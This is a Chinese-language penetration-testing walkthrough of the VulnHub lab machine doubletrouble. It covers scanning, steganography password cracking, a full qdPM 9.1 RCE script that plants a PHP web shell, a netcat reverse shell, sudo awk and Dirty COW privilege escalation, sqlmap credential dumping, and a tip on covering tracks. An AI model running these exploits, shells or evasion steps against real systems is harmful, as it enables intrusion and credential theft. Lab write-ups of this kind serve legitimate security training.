一、靶机介绍

靶机地址:doubletrouble: 1 ~ VulnHub

  • 主机发现
  • 端口扫描
  • WEB信息搜集
  • 开源CMS漏洞利用
  • 隐写术
  • 密码爆破
  • GTFObins提权
  • SQL注入
  • 赃牛提权

二、主机发现

arp-scan -l

靶机ip为10.0.2.15

image-20240822134333944

三、端口扫描

nmap -p- 10.0.2.15
nmap -p22,80 -sV -sC 10.0.2.15

发现22和80端口开放,进一步扫描了一下

image-20240822134442438

四、Web信息搜集

访问80端口,发现是个登录页面

image-20240822135106980

4.1、官网信息搜集

这个从源代码中可以发现,也可以在直接点击首页下面的那个qdPM9.1会自动跳转

image-20240822135309351

image-20240822135345786

一个是安装安装页面,一个是配置文件路径

4.2、安装页面

发现就是一个简单的安装页面,并没有什么有用的信息

image-20240822135545457

4.3、配置文件

找的配置文件路径,但是由于环境解析,所有并不能直接看到代码,可以一个个下载下来尝试查看,这文件里面有个token,但是后面打靶过程中没有用到。

image-20240822135524208

五、searchsploit搜寻漏洞

一番折腾并没有找的什么有用的信息,但是获取到了cms的名称,直接使用kali自带的工具尝试搜找一下这个cms是否存在漏洞

searchsploit qdpm

发现cms真的存在rce和文件上传漏洞

image-20240822140221366

把两个rce的exp复制到桌面上,以便后续利用

cp /usr/share/exploitdb/exploits/php/webapps/47954.py .
cp /usr/share/exploitdb/exploits/php/webapps/50944.py .
mousepad 47954.py

后面那个. 代表复制到当前目录下

使用mousepad 打开脚本开一下脚本的允许条件

发现需要知道用户名和密码,以及url

image-20240822140748445

六、目录扫描

dirsearch -u http://10.0.2.15 

发现一个secret(秘密)目录

image-20240822135909924

访问进去发现一张图片

image-20240822140047692

七、图片隐写

steghide info doubletrouble.jpg

info参数查看含有隐藏信息的载体

image-20240822140843885

7.1、stegseek爆破密码

apt install stegseek
stegseek --crack doubletrouble.jpg rockyou.txt -xf 123

–crack 参数是爆破

rockyou.txt 是字典名称 -

-xf 为爆破出密码后图片中隐藏的文件命名为123

image-20240822141202810

文件类型为字符串

查看文件内容

image-20240822141345721

otisrush@localhost.com

otis666

八、脚本利用

发现能够登录成功,已经满足了刚才所有脚本的利用条件

image-20240822141421128

脚本缩进有问题,更改后的脚本如下

# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)

# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net

# Date: 2021-08-03

# Original Exploit Author: Rishal Dwivedi (Loginsoft)

# Original ExploitDB ID: 47954 (https://www.exploit-db.com/exploits/47954)

# Exploit Author: Leon Trappett (thepcn3rd)

# Vendor Homepage: http://qdpm.net/

# Software Link: http://qdpm.net/download-qdpm-free-project-management

# Version: <=1.9.1

# Tested on: Ubuntu Server 20.04 (Python 3.9.2)

# CVE : CVE-2020-7246

# Exploit written in Python 3.9.2

# Tested Environment - Ubuntu Server 20.04 LTS

# Path Traversal + Remote Code Execution

# Exploit modification: RedHatAugust



#!/usr/bin/python3



import sys

import requests

from lxml import html

from argparse import ArgumentParser



session_requests = requests.session()



def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):

request_1 = {

'sf_method': (None, 'put'),

'users[id]': (None, userid[-1]),

'users[photo_preview]': (None, uservar),

'users[_csrf_token]': (None, csrftoken_[-1]),

'users[name]': (None, username[-1]),

'users[new_password]': (None, ''),

'users[email]': (None, EMAIL),

'extra_fields[9]': (None, ''),

'users[remove_photo]': (None, '1'),

}

return request_1





def req(userid, username, csrftoken_, EMAIL, HOSTNAME):

request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '.htaccess')

new = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_1)

request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '../.htaccess')

new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_2)

request_3 = {

'sf_method': (None, 'put'),

'users[id]': (None, userid[-1]),

'users[photo_preview]': (None, ''),

'users[_csrf_token]': (None, csrftoken_[-1]),

'users[name]': (None, username[-1]),

'users[new_password]': (None, ''),

'users[email]': (None, EMAIL),

'extra_fields[9]': (None, ''),

'users[photo]': ('backdoor.php', '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']);system($cmd);echo "</pre>"; die; }?>', 'application/octet-stream'),

}

upload_req = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_3)





def main(HOSTNAME, EMAIL, PASSWORD):

url = HOSTNAME + '/index.php/login'

result = session_requests.get(url)

#print(result.text)

login_tree = html.fromstring(result.text)

authenticity_token = list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]

payload = {'login[email]': EMAIL, 'login[password]': PASSWORD, 'login[_csrf_token]': authenticity_token}

result = session_requests.post(HOSTNAME + '/index.php/login', data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))

# The designated admin account does not have a myAccount page

account_page = session_requests.get(HOSTNAME + 'index.php/myAccount')

account_tree = html.fromstring(account_page.content)

userid = account_tree.xpath("//input[@name='users[id]']/@value")

username = account_tree.xpath("//input[@name='users[name]']/@value")

csrftoken_ = account_tree.xpath("//input[@name='users[_csrf_token]']/@value")

req(userid, username, csrftoken_, EMAIL, HOSTNAME)

get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')

final_tree = html.fromstring(get_file.content)

backdoor = requests.get(HOSTNAME + "uploads/users/")

count = 0

dateStamp = "1970-01-01 00:00"

backdoorFile = ""

for line in backdoor.text.split("\n"):

count = count + 1

if "backdoor.php" in str(line):

try:

start = "\"right\""

end = " </td"

line = str(line)

dateStampNew = line[line.index(start)+8:line.index(end)]

if (dateStampNew > dateStamp):

dateStamp = dateStampNew

print("The DateStamp is " + dateStamp)

backdoorFile = line[line.index("href")+6:line.index("php")+3]

except:

print("Exception occurred")

continue

#print(backdoor)

print('Backdoor uploaded at - > ' + HOSTNAME + 'uploads/users/' + backdoorFile + '?cmd=whoami')



if __name__ == '__main__':

print("You are not able to use the designated admin account because they do not have a myAccount page.\n")

parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')

parser.add_argument('-url', '--host', dest='hostname', help='Project URL')

parser.add_argument('-u', '--email', dest='email', help='User email (Any privilege account)')

parser.add_argument('-p', '--password', dest='password', help='User password')

args = parser.parse_args()

# Added detection if the arguments are passed and populated, if not display the arguments

if (len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):

main(args.hostname, args.email, args.password)

else:

parser.print_help()


脚本运行成功

image-20240822141956436

成功执行命令

image-20240822142054281

九、反弹shell

存在nc,直接构造语句反弹shell

image-20240822142253003

kali: nc -lvvp 5555
靶机: nc 10.0.2.4 5555 -e /bin/bash
python3 -c "import pty;pty.spawn('/bin/bash')" #将终端升级一下

image-20240822142758019

十、GTFObins提权

sudo -l

发现使用sudo权限时awk可以不用使用密码

image-20240822142857600

访问网站,搜索一下awk,找到提权的语句

GTFOBins

image-20240822143055453

sudo awk 'BEGIN {system("/bin/sh")}'

image-20240822143027136

十一、第二个靶机

11.1、nc传输文件

使用nc将第二个靶机镜像传输到kali中

在这吐槽一下,virtualbox真难用,我的kali和主机之间不能直接拖拉文件

搞了半天,我被迫开了一个共享文件夹,才将镜像拖到主机中

nc 10.0.2.4 4444 < doubletrouble.ova -w 1
nc -lvnp 4444 > doubletrouble.ova

image-20240822143416420

image-20240822143455366

11.2、主机发现

image-20240822145724964

11.3、端口扫描

image-20240822150101284

发现一个登录页面

image-20240822150123446

11.4、目录扫描

dirsearch -u http://10.0.2.16
dirsearch -u http://10.0.2.16/cgi-bin/ -f -e cgi,sh

发现了/cgi-bin目录,尝试是否有破壳漏洞,发现并没有

image-20240822150529698

11.5、sqlmap梭哈

发现是个post型的,使用–forms参数,也可以将请求包保存下来使用-r参数

这个是注入类型是时间盲注,等待时间有点长

sqlmap -u http://10.0.2.16/ --forms --dbs

查看数据库的名字

image-20240822151108043

sqlmap -u http://10.0.2.16/ --forms -D doubletrouble -tables

查看数据库表

image-20240822151307108

sqlmap -u http://10.0.2.16/ --forms -D doubletrouble -T users --columns

查看数据库的列

image-20240822151703921

sqlmap -u http://10.0.2.16/ --forms -D doubletrouble -T users --dump

发现表中存放的是账号和密码,直接使用dump参数,查看表中数据

image-20240822151942002

发现两个账号和密码,但是在web页面都没有登录成功

11.6、ssh登录

端口扫描时22端口开放,使用第二个账号和密码登录成功

ssh clapton@10.0.2.16
ZubZub99

11.7、赃牛提权

uname -l

image-20240822152234389

发现内核版本时3.2.0,提权脚本如下

dirtycow/dirty.c at master · firefart/dirtycow · GitHub

老样子nc传输文件,将提权代码传输到靶机上,在使用gcc编译成可执行文件

nc 10.0.2.16 5555 < exp.c -w 1
nc -lvnp 5555 > exp.c
gcc -pthread exp.c -o exp -lcrypt # gcc编译
chmod +x exp # 授予执行权限
./exp pass # 将密码重新命名为pass

-pthread 是使用POSIX线程库,允许程序创建和控制多个线程

-lcrypt 是编译器链接crypt库,crypt是一个用于加密的数据库,通常用于处理密码加密和解密,在一些系统中,可能是libcrypt.so或者libcrypt.a

image-20240822161645461

脚本执行后有提示信息,大概意思就是将系统的/etc/passwd文件备份到了/tmp目录下名字是passwd.bak

提醒你重新登录成功获取到root权限后不要忘记将备份还原。

备份还原的目的是将系统执行的用户输入,在真实渗透过程中可以一定程度上的避免被发现

重新链接ssh

ssh firefart@10.0.2.16
pass # 程序执行时新设置的密码

image-20240822161851250

发现成功获取root权限,并且root目录下有两个文件

cp /tmp/passwd.bak /etc/passwd  # 将passwd还原成原来的样子
passwd # 将root用户的密码重新设置一下

参考文章:打靶记录13——doubletrouble-CSDN博客